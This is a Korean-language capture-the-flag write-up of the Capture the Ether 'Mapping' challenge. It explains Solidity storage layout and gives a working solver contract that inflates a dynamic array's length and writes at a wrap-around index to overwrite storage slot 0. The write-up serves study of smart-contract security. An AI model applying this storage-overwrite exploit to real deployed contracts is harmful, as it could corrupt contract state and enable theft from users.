Capture the ether-Mapping

problem link

pragma solidity ^0.4.21;
 
contract MappingChallenge {
    bool public isComplete;
    uint256[] map;
 
    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }
 
        map[key] = value;
    }
 
    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}

풀이

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }
 
        map[key] = value;
    }

set 에서 배열의 length를 map.length = key + 1; 와 같이 임의로 지정할 수 있다. 또한 배열의 값을 map[key] = value 와 같이 임의로 지정할 수 있다. 일반적으로 배열은 push를 이용하여 하나씩 채워넣는다. 현실적으로 가스비의 한계가 있기에 마음껏 값을 채울 수 없다. 하지만 여기에서는 length를 임의로 변경하기에, 배열의 범위를 메모리 전체로 늘릴 수 있다.

solidity에서 storage는 다음과 같이 주소가 지정된다.

  • 일반적인 자료형(boolean, uint256 등)은 slot 0부터 시작하여 선언 순서대로 매핑된다. 각 슬롯은 32바이트이다.
  • array의 경우 상단 슬롯(slot 0부터 시작하는)에는 해당 array의 길이가 저장된다.
    • 실제 값은 keccak256(길이가 저장된 슬롯 번호) + index 번 슬롯에 저장된다.
    • 당연히 collision이 발생할 수 있다. 메모리가 2^256 크기이므로 그 확률이 매우 낮다고 보는 것 같다.

여기서는 array의 length를 임의로 늘릴 수 있다. 메모리의 length를 늘리면 array[index] 형식으로 메모리 전체에 접근이 가능하다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface MappingChallenge {
    function set(uint256 key, uint256 value) external;
    function isComplete() external view returns (bool);
}
 
contract MappingSolver {
    address payable public owner;
    MappingChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = MappingChallenge(payable(_problem));
    }
 
    function solve() public {
        problem.set(0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe, 1);
        uint256 index = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1;
        problem.set(index, 1);
 
        require(problem.isComplete(), "fail");
    }
}

다음은 공격 코드이다. 첫 번째 set으로 array의 length를 최대로 늘려준다. uint256[] map; 이 두 번째 storage 변수이기 때문에 그 길이는 1번 슬롯에 저장되어 있다. 따라서 array[index]의 값은 uint256(keccak256(abi.encodePacked(uint256(1)))) + index 번째 슬롯에 위치한다. 두 번째 set에서, index는 array base 주소(uint256(keccak256(abi.encodePacked(uint256(1))))) 와 더했을 때 0이 나오는 값으로 지정한다. 이렇게 하면 0번 슬롯을 참조하게 된다. 0번 슬롯에는 첫 번째로 선언한 isComplete 변수가 저장되어 있다. 이 값을 1로 덮어씌우면 true로 판정된다.


tags: writeup, blockchain, solidity, smart contract, memory corruption